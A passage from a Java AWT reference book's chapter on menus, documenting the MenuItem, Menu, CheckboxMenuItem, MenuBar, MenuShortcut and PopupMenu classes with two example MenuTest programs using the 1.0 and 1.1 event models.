The processEvent() method receives all AWTEvents with a subclass of MenuComponent as its target. processEvent() then passes them along for processing. When you subclass a child class, overriding processEvent() allows you to process all events without having to provide listeners. However, remember to call super.processEvent(e) last to ensure regular functionality is still executed. This is like overriding postEvent() using the 1.0 event model.

Miscellaneous methods

public MenuContainer getParent ()

The getParent() method returns the parent MenuContainer for the MenuComponent. MenuContainer is an interface that is implemented by Component (in 1.1 only), Frame, Menu, and MenuBar. This means that getParent() could return any one of the four.

protected String paramString ()

The paramString() method of MenuComponent helps build up the string to display when toString() is called for a subclass. At the MenuComponent level, the current name of the object is appended to the output.

public String toString ()--can be called by user for subclass

The toString() method at the MenuComponent level cannot be called directly. This toString() method is called when you call a subclass's toString() and the specifics of the subclass is added between the brackets ([ and ]). At this level, the results would be:

java.awt.MenuComponent[aname1]

Previous | Home | Next
ItemSelectable | Book Index | MenuContainer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.2 MenuContainer

Previous Chapter 10
Would You Like to Choose from the Menu? 		Next

10.2 MenuContainer

MenuContainer is an interface implemented by the three menu containers: Frame, Menu, and MenuBar; Java 1.1 adds a fourth, Component. You should never need to worry about the interface since it does all its work behind the scenes for you. You will notice that the interface does not define an add() method. Each type of MenuContainer defines its own add() method to add menus to itself.

MenuContainer Methods

public abstract Font getFont ()

The getFont() method should provide an object's font. MenuItem implements this method, so all of its subclasses inherit it. MenuBar implements it, too, while Frame gets the method from Component.

public abstract boolean postEvent (Event e) (Deprecated)

The postEvent() method should post Event e to the object. MenuComponent implements this method, so all of its subclasses inherit it. (Frame gets the method from Component.)

public abstract void remove (MenuComponent component)

The remove() method should remove the MenuComponent component from the object. If component was not contained within the object, nothing should happen.

Previous | Home | Next
MenuComponent | Book Index | MenuShortcut
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.3 MenuShortcut

Previous Chapter 10
Would You Like to Choose from the Menu? 		Next

10.3 MenuShortcut

MenuShortcut is a class used to represent a keyboard shortcut for a MenuItem. When these events occur, an action event is generated that triggers the menu component. When a shortcut is associated with a MenuItem, the MenuItem automatically displays a visual clue, which indicates that a keyboard accelerator is available.

MenuShortcut Methods

Constructors

public MenuShortcut (int key) (New)

The first MenuShortcut constructor creates a MenuShortcut with key as its designated hot key. The key parameter can be any of the virtual key codes from the KeyEvent class (e.g., VK_A, VK_B, etc.). These constants are listed in Table 4.4. To use the shortcut, the user must combine the given key with a platform-specific modifier key. On Windows and Motif platforms, the modifier is the Control key; on the Macintosh, it is the Command key. For example, if the shortcut key is F1 (VK_F1) and you're using Windows, you would press Ctrl+F1 to execute the shortcut. To find out the platform's modifier key, call the Toolkit.getMenuShortcutKeyMask() method.

public MenuShortcut(int key, boolean useShiftModifier) (New)

This MenuShortcut constructor creates a MenuShortcut with key as its designated hot key. If useShiftModifier is true, the Shift key must be depressed for this shortcut to trigger the action event (in addition to the shortcut key). The key parameter represents the integer value of a KEY_PRESS event, so in addition to ASCII values, possible values include the various Event keyboard constants (listed in Table 4.2) like Event.F1, Event.HOME, and Event.PAUSE. For example, if key is the ASCII value for A and useShiftModifier is true, the shortcut key is Shift+Ctrl+A on a Windows/Motif platform.

Miscellaneous methods

public int getKey () (New)

The getKey() method retrieves the virtual key code for the key that triggered this MenuShortcut. The virtual key codes are the VK constants defined by the KeyEvent class (see Table 4.4).

public boolean usesShiftModifier() (New)

The usesShiftModifier() method returns true if this MenuShortcut requires the Shift key be pressed, false otherwise.

public boolean equals(MenuShortcut s) (New)

The equals() method overrides Object's equals() method to define equality for menu shortcuts. Two MenuShortcut objects are equal if their key and useShiftModifier values are equal.

protected String paramString () (New)

The paramString() method of MenuShortcut helps build up a string describing the shortcut; it appends the shortcut key and a shift modifier indicator to the string under construction. Oddly, this method is not currently used, nor can you call it; MenuShortcut has its own toString() method that does the job itself.

public String toString() (New)

The toString() method of MenuShortcut builds a String to display the contents of the MenuShortcut.

Previous | Home | Next
MenuContainer | Book Index | MenuItem
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.4 MenuItem

Previous Chapter 10
Would You Like to Choose from the Menu? 		Next

10.4 MenuItem

A MenuItem is the basic item that goes on a Menu. Menus themselves are menu items, allowing submenus to be nested inside of menus. MenuItem is a subclass of MenuComponent.

MenuItem Methods

Constructors

public MenuItem () (New)

The first MenuItem constructor creates a MenuItem with an empty label and no keyboard shortcut. To set the label at later time, use setLabel().

public MenuItem (String label)

This MenuItem constructor creates a MenuItem with a label of label and no keyboard shortcut. A label of "-" represents a separator.

public MenuItem (String label, MenuShortcut shortcut) (New)

The final MenuItem constructor creates a MenuItem with a label of label and a MenuShortcut of shortcut. Pressing the shortcut key is the same as selecting the menu item.

Menu labels

Each MenuItem has a label. This is the text that is displayed on the menu.

NOTE:

Prior to Java 1.1, there was no portable way to associate a hot key with a MenuItem. However, in Java 1.0, if you precede a character with an & on a Windows platform, it will appear underlined, and that key will act as the menu's mnemonic key (a different type of shortcut from MenuShortcut). Unfortunately, on a Motif platform, the user will see the &. Because the & is part of the label, even if it is not displayed, you must include it explicitly whenever you compare the label to a string.

public String getLabel ()

The getLabel() method retrieves the label associated with the MenuItem.

public void setLabel (String label)

The setLabel() method changes the label of the MenuItem to label.

Shortcuts

public MenuShortcut getMenuShortcut () (New)

The getMenuShortcut() method retrieves the shortcut associated with this MenuItem.

public void setShortcut (MenuShortcut shortcut) (New)

The setShortcut() method allows you to change the shortcut associated with a MenuItem to shortcut after the MenuItem has been created.

public void deleteMenuShortcut () (New)

The deleteMenuShortcut() method removes any associated MenuShortcut from the MenuItem. If there was no shortcut, nothing happens.

Enabling

public boolean isEnabled ()

The isEnabled() method checks to see if the MenuItem is currently enabled. An enabled MenuItem can be selected by the user. A disabled MenuItem, by convention, appears grayed out on the Menu. Initially, each MenuItem is enabled.

public synchronized void setEnabled(boolean b) (New)
public void enable (boolean condition) (Deprecated)

The setEnabled() method either enables or disables the MenuItem based on the value of condition. If condition is true, the MenuItem is enabled. If condition is false, it is disabled. When enabled, the user can select it, generating ACTION_EVENT or notifying the ActionListener. When disabled, the peer does not generate an ACTION_EVENT if the user tries to select the MenuItem. A disabled MenuItem is usually grayed out to signify its state. The way that disabling is signified is platform specific.

enable() is the Java 1.0 name for this method.

public synchronized void enable () (Deprecated)

The enable() method enables the MenuItem. In Java 1.1, it is better to use setEnabled().

public synchronized void disable () (Deprecated)

The disable() method disables the component so that the user cannot select it. In Java 1.1, it is better to use setEnabled().

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the MenuItem peer.

public String paramString ()

The paramString() method of MenuItem should be protected like other paramString() methods. However, it is public so you have access to it. When you call the toString() method of a MenuItem, the default toString() method of MenuComponent is called. This in turn calls paramString() which builds up the string to display. At the MenuItem level, the current label of the object and the shortcut (if present) is appended to the output. If the constructor for the MenuItem was new MenuItem(`File`), the results of toString() would be:

java.awt.MenuItem[label=File]

MenuItem Events

Event handling

With 1.0 event handing, a MenuItem generates an ACTION_EVENT when it is selected. The argument to action() will be the label of the MenuItem. But the target of the ACTION_EVENT is the Frame containing the menu. You cannot subclass MenuItem and catch the Event within it with action(), but you can with postEvent(). No other events are generated for MenuItem instances.

public boolean action (Event e, Object o)--overridden by user, called by system

The action() method for a MenuItem signifies that the user selected it. e is the Event instance for the specific event, while o is the label of the MenuItem.

Listeners and 1.1 event handling

With the 1.1 event model, you register listeners, and they are told when the event happens.

public String getActionCommand() (New)

The getActionCommand() method retrieves the command associated with this MenuItem. By default, it is the label. However, the default can be changed by using the setActionCommand() method (described next). The command acts like the second parameter to the action() method in the 1.0 event model.

public void setActionCommand(String command) (New)

The setActionCommand() method changes the command associated with a MenuItem. When an ActionEvent happens, the command is part of the event. By default, this would be the label of the MenuItem. However, you can change the action command by calling this method. Using action commands is a good idea, particularly if you expect your code to run in a multilingual environment.

public void addActionListener(ItemListener listener) (New)

The addActionListener() method registers listener as an object interested in being notified when an ActionEvent passes through the EventQueue with this MenuItem as its target. The listener.actionPerformed() method is called whenever these events occur. Multiple listeners can be registered.

public void removeActionListener(ItemListener listener) (New)

The removeActionListener() method removes listener as an interested listener. If listener is not registered, nothing happens.

protected final void enableEvents(long eventsToEnable) (New)

Using the enableEvents() method is usually not necessary. When you register an action listener, the MenuItem listens for action events. However, if you wish to listen for events when listeners are not registered, you must enable the events explicitly by calling this method. The settings for the eventsToEnable parameter are found in the AWTEvent class; you can use any of the EVENT_MASK constants like COMPONENT_EVENT_MASK, MOUSE_EVENT_MASK, and WINDOW_EVENT_MASK ORed together for the events you care about. For instance, to listen for action events, call:

enableEvents (AWTEvent.ACTION_EVENT_MASK);

protected final void disableEvents(long eventsToDisable) (New)

Using the disableEvents() method is usually not necessary. When you remove an action listener, the MenuItem stops listening for action events if there are no more listeners. However, if you need to, you can disable events explicitly by calling disableEvents(). The settings for the eventsToDisable parameter are found in the AWTEvent class; you can use any of the EVENT_MASK constants such as FOCUS_EVENT_MASK, MOUSE_MOTION_EVENT_MASK, and ACTION_EVENT_MASK ORed together for the events you no longer care about.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives all AWTEvents with this MenuItem as its target. processEvent() then passes them along to any listeners for processing. When you subclass MenuItem, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processEvent() is like overriding postEvent() using the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() to ensure that events are delivered even in the absence of registered listeners.

protected void processActionEvent(ItemEvent e) (New)

The processActionEvent() method receives all ActionEvents with this MenuItem as its target. processActionEvent() then passes them along to any listeners for processing. When you subclass MenuItem, overriding processActionEvent() allows you to process all action events yourself, before sending them to any listeners. In a way, overriding processActionEvent() is like overriding action() using the 1.0 event model.

If you override processActionEvent(), remember to call the method super.processActionEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() to ensure that events are delivered even in the absence of registered listeners.

Previous | Home | Next
MenuShortcut | Book Index | Menu
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.5 Menu

Previous Chapter 10
Would You Like to Choose from the Menu? 		Next

10.5 Menu

Menus are the pull-down objects that appear on the MenuBar of a Frame or within other menus. They contain MenuItems or CheckboxMenuItems for the user to select. The Menu class subclasses MenuItem (so it can appear on a Menu, too) and implements MenuContainer. Tear-off menus are menus that can be dragged, placed elsewhere on the screen, and remain on the screen when the input focus moves to something else. Java supports tear-off menus if the underlying platform does. Motif (UNIX) supports tear-off menus; Microsoft Windows platforms do not.

Menu Methods

Constructors

public Menu () (New)

The first constructor for Menu creates a menu that has no label and cannot be torn off. To set the label at a later time, use setLabel().

public Menu (String label)

This constructor for Menu creates a Menu with label displayed on it. The Menu cannot be torn off.

public Menu (String label, boolean tearOff)

This constructor for Menu creates a Menu with label displayed on it. The handling of tearOff is platform dependent.

Figure 10.3 shows a tear-off menu for Windows NT/95 and Motif. Since Windows does not support tear-off menus, the Windows menu looks and acts like a regular menu.

Figure 10.3: Tear-off menu

[Graphic: Figure 10-3]

Items

public int getItemCount() (New)
public int countItems () (Deprecated)

The getItemCount() method returns the number of items within the Menu. Only top-level items are counted: if an item is a submenu, this method doesn't include the items on it.

countItems() is the Java 1.0 name for this method.

public MenuItem getItem (int index)

The getItem() method returns the MenuItem at position index. If index is invalid, getItem() throws the ArrayIndexOutOfBoundsException run-time exception.

public synchronized MenuItem add (MenuItem item)

The add() method puts item on the menu. The label assigned to item when it was created is displayed on the menu. If item is already in another menu, it is removed from that menu. If item is a Menu, it creates a submenu. (Remember that Menu subclasses MenuItem.)

public void add (String label)

This version of add() creates a MenuItem with label as the text and adds that to the menu. If label is the String "-", a separator bar is added to the Menu.

public synchronized void insert(MenuItem item, int index) (New)

The insert() method puts item on the menu at position index. The label assigned to item when it was created is displayed on the menu. Positions are zero based, and if index < 0, insert() throws the IllegalArgumentException run-time exception.

public synchronized void insert(String label, int index) (New)

This version of insert() method creates a MenuItem with label as the text and adds that to the menu at position index. If label is the String "--", a separator bar is added to the Menu. Positions are zero based, and if index < 0, this method throws the IllegalArgumentException run-time exception.

public void addSeparator ()

The addSeparator() method creates a separator MenuItem and adds that to the menu. Separator menu items are strictly cosmetic and do not generate events when selected.

public void insertSeparator(int index) (New)

The insertSeparator() method creates a separator MenuItem and adds that to the menu at position index. Separator menu items are strictly cosmetic and do not generate events when selected. Positions are zero based. If index < 0, insertSeparator() throws the IllegalArgumentException run-time exception.

public synchronized void remove (int index)

The remove() method removes the MenuItem at position index from the Menu. If index is invalid, remove() throws the ArrayIndexOutOfBoundsException run-time exception. index is zero based, so it can range from 0 to getItemCount()-1.

public synchronized void remove (MenuComponent component)

This version of remove() removes the menu item component from the Menu. If component is not in the Menu, nothing happens.

public synchronized void removeAll()

The removeAll() removes all MenuItems from the Menu.

Peers

public synchronized void addNotify ()

The addNotify() method creates the Menu peer with all the MenuItems on it.

public synchronized void removeNotify ()

The removeNotify() method destroys the peer of the MenuComponent and removes it from the screen. The peers of the items on the menu are also destroyed.

Miscellaneous methods

public boolean isTearOff ()

The isTearOff() method returns true if this Menu is a tear-off menu, and false otherwise. Once a menu is created, there is no way to change the tear-off setting. This method can return true even on platforms that do not support tear-off menus.

public String paramString () (New)

The paramString() method of Menu should be protected like other paramString() methods. However, it is public so you have access to it. When you call the toString() method of a Menu, the default toString() method of MenuComponent is called. This in turn calls paramString(), which builds up the string to display. At the Menu level, the setting for TearOff (from constructor) and whether or not it is the help menu (from MenuBar.setHelpMenu()) for the menu bar are added. If the constructor for the Menu was new Menu (`File`), the results of toString() would be:

java.awt.Menu [menu0,label=File,tearOff=false,isHelpMenu=false]

Menu Events

A Menu does not generate any event when it is selected. An event is generated when a MenuItem on the menu is selected, as long as it is not another Menu. You can capture all the events that happen on a Menu by overriding postEvent().

Previous | Home | Next
MenuItem | Book Index | CheckboxMenuItem
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.6 CheckboxMenuItem

Previous Chapter 10
Would You Like to Choose from the Menu? 		Next

10.6 CheckboxMenuItem

The CheckboxMenuItem is a subclass of MenuItem that can be toggled. It is similar to a Checkbox but appears on a Menu. The appearance depends upon the platform. There may or may not be a visual indicator next to the choice. However, when the MenuItem is selected (true), a checkmark or some similar graphic will be displayed next to the label.

There is no way to put CheckboxMenuItem components into a CheckboxGroup to form a radio menu group.

An example of a CheckboxMenuItem is the Show Java Console menu item in Netscape Navigator.

CheckboxMenuItem Methods

Constructors

public CheckboxMenuItem (String label)

The first CheckboxMenuItem constructor creates a CheckboxMenuItem with no label displayed next to the check toggle. The initial value of the CheckboxMenuItem is false. To set the label at a later time, use setLabel().

public CheckboxMenuItem (String label)

The next CheckboxMenuItem constructor creates a CheckboxMenuItem with label displayed next to the check toggle. The initial value of the CheckboxMenuItem is false.

public CheckboxMenuItem (String label, boolean state)

The final CheckboxMenuItem constructor creates a CheckboxMenuItem with label displayed next to the check toggle. The initial value of the CheckboxMenuItem is state.

Selection

public boolean getState ()

The getState() method retrieves the current state of the CheckboxMenuItem.

public void setState (boolean condition)

The setState() method changes the current state of the CheckboxMenuItem to condition. When true, the CheckboxMenuItem will have the toggle checked.

public Object[] getSelectedObjects () (New)

The getSelectedItems() method returns the currently selected item as an Object array. This method, which is required by the ItemSelectable interface, allows you to use the same methods to retrieve the selected items of any Checkbox, Choice, or List. The array has at most one element, which contains the label of the selected item; if no item is selected, getSelectedItems() returns null.

Miscellaneous methods

public synchronized void addNotify ()

The addNotify() method creates the CheckboxMenuItem peer.

public String paramString ()

The paramString() method of CheckboxMenuItem should be protected like other paramString() methods. However, it is public, so you have access to it. When you call the toString() method of a CheckboxMenuItem, the default toString() method of MenuComponent is called. This in turn calls paramString() which builds up the string to display. At the CheckboxMenuItem level, the current state of the object is appended to the output. If the constructor for the CheckboxMenuItem was new CheckboxMenuItem(`File`) the results would be:

java.awt.CheckboxMenuItem[label=File,state=false]

CheckboxMenuItem Events

Event handling

A CheckboxMenuItem generates an ACTION_EVENT when it is selected. The argument to action() is the label of the CheckboxMenuItem, like the method provided by MenuItem, not the state of the CheckboxMenuItem as used in Checkbox. The target of the ACTION_EVENT is the Frame containing the menu. You cannot subclass CheckboxMenuItem and handle the Event within the subclass unless you override postEvent(). Listeners and 1.1 event handling

With the Java 1.1 event model, you register listeners, which are told when the event happens.

public void addItemListener(ItemListener listener) (New)

The addItemListener() method registers listener as an object that is interested in being notified when an ItemEvent passes through the EventQueue with this CheckboxMenuItem as its target. When these item events occur, the listener.itemStateChanged() method is called. Multiple listeners can be registered.

public void removeItemListener(ItemListener listener) (New)

The removeItemListener() method removes listener as a interested listener. If listener is not registered, nothing happens.

protected void processEvent(AWTEvent e) (New)

The processEvent() method receives every AWTEvent with this CheckboxMenuItem as its target. processEvent() then passes it along to any listeners for processing. When you subclass CheckboxMenuItem, overriding processEvent() allows you to process all events yourself, before sending them to any listeners. In a way, overriding processEvent() is like overriding postEvent() using the 1.0 event model.

If you override processEvent(), remember to call super.processEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() to ensure that events are delivered, even in the absence of registered listeners.

protected void processItemEvent(ItemEvent e) (New)

The processItemEvent() method receives every ItemEvent with this CheckboxMenuItem as its target. processItemEvent() then passes it along to any listeners for processing. When you subclass CheckboxMenuItem, overriding processItemEvent() allows you to process all item events yourself, before sending them to any listeners. In a way, overriding processItemEvent() is like overriding action() using the 1.0 event model.

If you override processItemEvent(), remember to call the method super.processItemEvent(e) last to ensure that regular event processing can occur. If you want to process your own events, it's a good idea to call enableEvents() to ensure that events are delivered even in the absence of registered listeners.

Previous | Home | Next
Menu | Book Index | MenuBar
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.7 MenuBar

Previous Chapter 10
Would You Like to Choose from the Menu? 		Next

10.7 MenuBar

The MenuBar is the component you add to the Frame that is displayed on the top line of the Frame; the MenuBar contains menus. A Frame can display only one MenuBar at a time. However, you can change the MenuBar based on the state of the program so that different menus can appear at different points. The MenuBar class extends MenuComponent and implements the MenuContainer interface.

A MenuBar can be used only as a child component of a Frame. An applet cannot have a MenuBar attached to it, unless you implement the whole thing yourself. Normally, you cannot modify the MenuBar of the applet holder (the browser), unless it is Java based. In other words, you cannot affect the menus of Netscape Navigator, but you can customize appletviewer and HotJava, as shown in the following code with the result shown in Figure 10.4. The getTopLevelParent() method was introduced in Window with Window.

import java.awt.*;
public class ChangeMenu extends java.applet.Applet {
    public void init ()  {
        Frame f = ComponentUtilities.getTopLevelParent(this);
        if (f != null) {
            MenuBar mb = f.getMenuBar();
            Menu m = new Menu ("Cool");
            mb.add (m);
        }
    }
}

Figure 10.4: Customizing appletviewer's MenuBar

[Graphic: Figure 10-4]

NOTE:

When you add a MenuBar to a Frame, it takes up space that is part of the drawing area. You need to get the top insets to find out how much space is occupied by the MenuBar and be careful not to draw under it. If you do, the MenuBar will cover what you draw.

MenuBar Methods

Constructors

public MenuBar()

The MenuBar constructor creates an empty MenuBar. To add menus to the MenuBar, use the add()method.

Menus

public int getMenuCount () (New)
public int countMenus () (Deprecated)

The getMenuCount() method returns the number of top-level menus within the MenuBar.

countMenus() is the Java 1.0 name for this method.

public Menu getMenu (int index)

The getMenu() method returns the Menu at position index. If index is invalid, getMenu() throws the run-time exception ArrayIndexOutOfBoundsException.

public synchronized Menu add (Menu m)

The add() method puts choice m on the MenuBar. The label used to create m is displayed on the MenuBar. If m is already in another MenuBar, it is removed from it. The order of items added determines the order displayed on the MenuBar, with one exception: if a menu is designated as a help menu by setHelpMenu(), it is placed at the right end of the menu bar. Only a Menu can be added to a MenuBar; you can't add a MenuItem. In other words, a MenuItem has to lie under at least one menu.

public synchronized void remove (int index)

The remove() method removes the Menu at position index from the MenuBar. If index is invalid, remove() throws the ArrayIndexOutOfBoundsException run-time exception. index is zero based.

public synchronized void remove (MenuComponent component)

This version of remove() removes the menu component from the MenuBar. If component is not in MenuBar, nothing happens. The system calls this method when you add a new Menu to make sure it does not exist on another MenuBar.

Shortcuts

public MenuItem getShortcutMenuItem (MenuShortcut shortcut) (New)

The getShortcutMenuItem() method retrieves the MenuItem associated with the MenuShortcut shortcut. If MenuShortcut does not exist for this Menu, the method returns null. getShortcutMenuItem() walks through the all submenus recursively to try to find shortcut.

public synchronized Enumeration shortcuts() (New)

The shortcuts() method retrieves an Enumeration of all the MenuShortcut objects associated with this MenuBar.

public void deleteShortcut (MenuShortcut shortcut) (New)

The deleteShortcut() method removes MenuShortcut from the associated MenuItem in the MenuBar. If the shortcut is not associated with any menu item, nothing happens.

Help menus

It is the convention on many platforms to display help menus as the last menu on the MenuBar. The MenuBar class lets you designate one of the menus as this special menu. The physical position of a help menu depends on the platform, but those giving special treatment to help menus place them on the right. A Menu designated as a help menu doesn't have to bear the label "Help"; the label is up to you.

public Menu getHelpMenu ()

The getHelpMenu() method returns the Menu that has been designated as the help menu with setHelpMenu(). If the menu bar doesn't have a help menu, getHelpMenu() returns null.

public synchronized void setHelpMenu (Menu m)

The setHelpMenu() method sets the menu bar's help menu to m. This makes m the rightmost menu on the MenuBar, possibly right justified. If m is not already on the MenuBar, nothing happens.

Peers

public synchronized void addNotify ()

The addNotify() method creates the MenuBar peer with all the menus on it, and in turn their menu items.

public synchronized void removeNotify ()

The removeNotify() method destroys the peer of the MenuBar and removes it from the screen. The peers of the items on the MenuBar are also destroyed.

MenuBar Events

A MenuBar does not generate any events.

Previous | Home | Next
CheckboxMenuItem | Book Index | Putting It All Together
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.8 Putting It All Together

Previous Chapter 10
Would You Like to Choose from the Menu? 		Next

10.8 Putting It All Together

Now that you know about all the different menu classes, it is time to show an example. Example 10.1 contains the code to put up a functional MenuBar attached to a Frame, using the 1.0 event model. Figure 10.2 (earlier in the chapter) displays the resulting screen. The key parts to examine are how the menus are put together in the MenuTest constructor and how their actions are handled within action(). I implement one real action in the example: the one that terminates the application when the user chooses Quit. Any other action just displays the label of the item and (if it was a CheckBoxMenuItem) the item's state, to give you an idea of how you can use the information returned in the event.

Example 10.1: MenuTest 1.0 Source Code

import java.awt.*;
public class MenuTest extends Frame {
    MenuTest () {
        super ("MenuTest");
        MenuItem mi;
        Menu file = new Menu ("File", true);
        file.add ("Open");
        file.add (mi = new MenuItem ("Close"));
        mi.disable();
        Menu extras = new Menu ("Extras", false);
        extras.add (new CheckboxMenuItem ("What"));
        extras.add ("Yo");
        extras.add ("Yo");
        file.add (extras);
        file.addSeparator();
        file.add ("Quit");
        Menu help = new Menu("Help");
        help.add ("About");
        MenuBar mb = new MenuBar();
        mb.add (file);
        mb.add (help);
        mb.setHelpMenu (help);
        setMenuBar (mb);
        resize (200, 200);
    }
    public boolean handleEvent (Event e) {
        if (e.id == Event.WINDOW_DESTROY) {
            System.exit(0);
        }
        return super.handleEvent (e);
    }
    public boolean action (Event e, Object o) {
        if (e.target instanceof MenuItem) {
            if ("Quit".equals (o)) {
                dispose();
                System.exit(1);
            } else {
                System.out.println ("User selected " + o);
                if (e.target instanceof CheckboxMenuItem) {
                    CheckboxMenuItem cb = (CheckboxMenuItem)e.target;
                    System.out.println ("The value is: " + cb.getState());
                }
            }
            return true;
        }
        return false;
    }
    public static void main (String []args) {
        MenuTest f = new MenuTest ();
        f.show();
    }
}

The MenuTest constructor builds all the menus, creates a menu bar, adds the menus to the menu bar, and adds the menu bar to the Frame. To show what is possible, I've included a submenu, a separator bar, a disabled item, and a help menu.

The handleEvent() method exists to take care of WINDOW_DESTROY events, which are generated if the user uses a native command to exit from the window.

The action() method does the work; it received the action events generated whenever the user selects a menu. We ignore most of them, but a real application would need to do more work figuring out the user's selection. As it is, action() is fairly simple. If the user selected a menu item, we check to see whether the item's label was "Quit"; if it was, we exit. If the user selected anything else, we print the selection and return true to indicate that we handled the event.

Using Java 1.1 Events

Example 10.2 uses the Java 1.1 event model but is otherwise very similar to Example 10.1. Take a close look at the differences and similarities. Although the code that builds the GUI is basically the same in both examples, the event handling is completely different. The helper class MyMenuItem is necessary to simplify event handling. In Java 1.1, every menu item can be an event source, so you have to register a listener for each item. Rather than calling addActionListener() explicitly for each item, we create a subclass of MenuItem that registers a listener automatically. The listener is specified in the constructor to MyMenuItem; in this example, the object that creates the menus (MenuTest12) always registers itself as the listener. An alternative would be to override processActionEvent() in MyMenuItem, but then we'd also need to write a subclass for CheckboxMenuItem.

Having said all that, the code is relatively simple. MenuTest12 implements ActionListener so it can receive action events from the menus. As I noted previously, it registers itself as the listener for every menu item when it builds the interface. The actionPerformed() method is called whenever the user selects a menu item; the logic of this method is virtually the same as it was in Example 10.1. Notice, though, that we use getActionCommand() to read the label of the menu item. (Note also that getActionCommand() doesn't necessarily return the label; you can change the command associated with the menu item by calling setActionCommand().) Similarly, we call the event's getSource() method to get the menu item that actually generated the event; we need this to figure out whether the user selected a CheckboxMenuItem (which implements ItemSelectable).

We override processWindowEvent() so that we can receive WINDOW_CLOSING events without registering a listener. Window closings occur when the user uses the native display manager to close the application. If one of these events arrives, we shut down cleanly. To make sure that we receive window events even if there are no listeners, the MenuTest12 constructor calls enableEvents(WINDOW_EVENT_MASK).

Example 10.2: MenuTest12 Source Code, Using Java 1.1 Event Handling

// Java 1.1 only
import java.awt.*;
import java.awt.event.*;
public class MenuTest12 extends Frame implements ActionListener {
    class MyMenuItem extends MenuItem {
        public MyMenuItem (String s, ActionListener al) {
            super (s);
            addActionListener (al);
        }
    }
    public MenuTest12 () {
        super ("MenuTest");
        MenuItem mi;
        Menu file = new Menu ("File", true);
        file.add (new MyMenuItem ("Open", this));
        mi = file.add (new MyMenuItem ("Close", this));
        mi.setEnabled (false);
        Menu extras = new Menu ("Extras", false);
        mi = extras.add (new CheckboxMenuItem ("What"));
        mi.addActionListener(this);
        mi = extras.add (new MyMenuItem ("Yo", this));
        mi.setActionCommand ("Yo1");
        mi = extras.add (new MyMenuItem ("Yo", this));
        mi.setActionCommand ("Yo2");
        file.add (extras);
        file.addSeparator();
        file.add (new MyMenuItem ("Quit", this));
        Menu help = new Menu("Help");
        help.add (new MyMenuItem ("About", this));
        MenuBar mb = new MenuBar();
        mb.add (file);
        mb.add (help);
        mb.setHelpMenu (help);
        setMenuBar (mb);
        setSize (200, 200);
        enableEvents (AWTEvent.WINDOW_EVENT_MASK);
    }
// Cannot override processActionEvent since method of MenuItem
// Would have to subclass both MenuItem and CheckboxMenuItem
    public void actionPerformed(ActionEvent e) {
        if (e.getActionCommand().equals("Quit")) {
            System.exit(0);
        }
        System.out.println ("User selected " + e.getActionCommand());
        if (e.getSource() instanceof ItemSelectable) {
            ItemSelectable is = (ItemSelectable)e.getSource();
            System.out.println ("The value is: " +
                (is.getSelectedObjects().length != 0)));
        }
    }
    protected void processWindowEvent(WindowEvent e) {
        if (e.getID() == WindowEvent.WINDOW_CLOSING) {
            // Notify others we are closing
            super.processWindowEvent(e);
            System.exit(0);
        } else {
            super.processWindowEvent(e);
        }
    }
    public static void main (String []args) {
        MenuTest12 f = new MenuTest12 ();
        f.show();
    }
}

I took the opportunity when writing the 1.1 code to make one additional improvement to the program. By using action commands, you can easily differentiate between the two Yo menu items. Just call setActionCommand() to assign a different command to each item. (I used "Yo1" and "Yo2".) You could also differentiate between the items by saving a reference to each menu item, calling getSource() in the event handler, and comparing the result to the saved references. However, if the ActionListener is another class, it would need access to those references. Using action commands is simpler and results in a cleaner event handler.

The intent of the setActionCommand() and getActionCommand() methods is more for internationalization support. For example, you could use setActionCommand() to associate the command Quit with a menu item, then set the item's label to the appropriate text for the user's locality.

Previous | Home | Next
MenuBar | Book Index | PopupMenu
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] 10.9 PopupMenu

Previous Chapter 10
Would You Like to Choose from the Menu? 		Next

10.9 PopupMenu

The PopupMenu class is new to Java 1.1; it allows you to associate context-sensitive menus with Java components. To associate a pop-up menu with a component, create the menu, and add it to the component using the add(PopupMenu) method, which all components inherit from the Component class.

In principle, any GUI object can have a pop-up menu. In practice, there are a few exceptions. If the component's peer has its own pop-up menu (i.e., a pop-up menu provided by the run-time platform), that pop-up menu effectively overrides the pop-up menu provided by Java. For example, under Windows NT/95, a TextArea has a pop-up menu provided by the Windows NT/95 platforms. Java can't override this menu; although you can add a pop-up menu to a TextArea, you can't display that menu under Windows NT/95 with the usual mouse sequence.

PopupMenu Methods

Constructors

public PopupMenu() (New)

The first PopupMenu constructor creates an untitled PopupMenu. Once created, the menu can be populated with menu items like any other menu.

public PopupMenu(String label) (New)

This constructor creates a PopupMenu with a title of label. The title appears only on platforms that support titles for context menus. Once created, the menu can be populated with menu items like any other menu.

Miscellaneous methods

public void show(Component origin, int x, int y) (New)

Call the show() method to display the PopupMenu. x and y specify the location at which the pop-up menu should appear; origin specifies the Component whose coordinate system is used to locate x and y. In most cases, you'll want the menu to appear at the point where the user clicked the mouse; to do this, set origin to the Component that received the mouse event, and set x and y to the location of the mouse click. It is easy to extract this information from an old-style (1.0) Event or a Java 1.1 MouseEvent. In Java 1.1, the platform-independent way to say "give me the mouse events that are supposed to trigger pop-up menus" is to call MouseEvent.isPopupTrigger(). If this method returns true, you should show the pop-up menu if one is associated with the event source. (Note that the mouse event could also be used for some other purpose.)

If the PopupMenu is not associated with a Component, show() throws the run-time exception NullPointerException. If origin is not the MenuContainer for the PopupMenu and origin is not within the Container that the pop-up menu belongs to, show() throws the run-time exception IllegalArgumentException. Finally, if the Container of origin does not exist or is not showing, show() throws a run-time exception.

